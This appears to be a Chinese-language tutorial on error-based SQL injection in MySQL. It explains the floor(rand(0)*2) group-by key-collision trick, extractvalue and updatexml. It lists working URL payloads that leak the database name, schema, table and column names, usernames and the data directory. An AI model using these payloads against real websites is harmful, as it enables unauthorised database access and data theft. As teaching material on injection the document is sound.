主题
sql注入:基于报错的 SQL 盲注
一、Floor报错注入1.1 floor 函数1.2 rand函数 1.3 count(*) 1.4 floor函数实际利用二、extractvalue函数三、updatexml函数:同extractvalue
本来网页是不显示信息的,但是我们可以构造 payload 让信息通过错误提示回显出来
一、Floor报错注入
首先介绍几个函数
1.1 floor 函数:向下取整
1.2 rand函数:随机产生0-1之前的随机数
但是如果给他传入一个固定参数,他就会产生一个伪随机数,并且数字不变这个随机数就一直不变
当我们乘2之后要不大于1要不小于1,所以floor得出的结果要不是0要不是1
1.3 count(*) :返回group分组之后的行的数量
当我们输入这条命令
select count(*),floor(rand(0)*2) x from users group by x;
如果加上database()
select count(*),concat(database(),floor(rand(0)*2)) x from users group by x;
我们发现爆出了数据库:cms
【原理分析】 ,见Mysql报错注入之floor(rand(0)*2)报错原理探究
主要原因count(*)建立虚表计算数量时,因为计算时的rand和插入时的rand数值不同而引起的主键冲突从而报错,我们将数据库的名连接,于是就会把数据库名爆出来(本质上报的是冲突的主键名)
1.4 floor函数实际利用
# 爆出当前数据库
?id=1' and (select 1 from (select concat((select database()),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出所有的数据库 通过limit来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出字段
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出数据
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
我们可以控制where之后的语句 加上一个and 即可运行
同理ceil函数
其实也是取整数,和floor函数效果是一样的
二、extractvalue函数
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
#payload:
and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));
第一个参数随便输入,我们需要的是第二个参数 因为0x7e是~的16进制,不符合xpath语法的格式,于是会把我们查询的给报错报出来
三、updatexml函数:同extractvalue
【payload
】:
updatexml(1,concat(0x7e,database()),0)
当然报错注入的函数不止这几个,这只是几个最常用的,大家有兴趣可以找一下其他的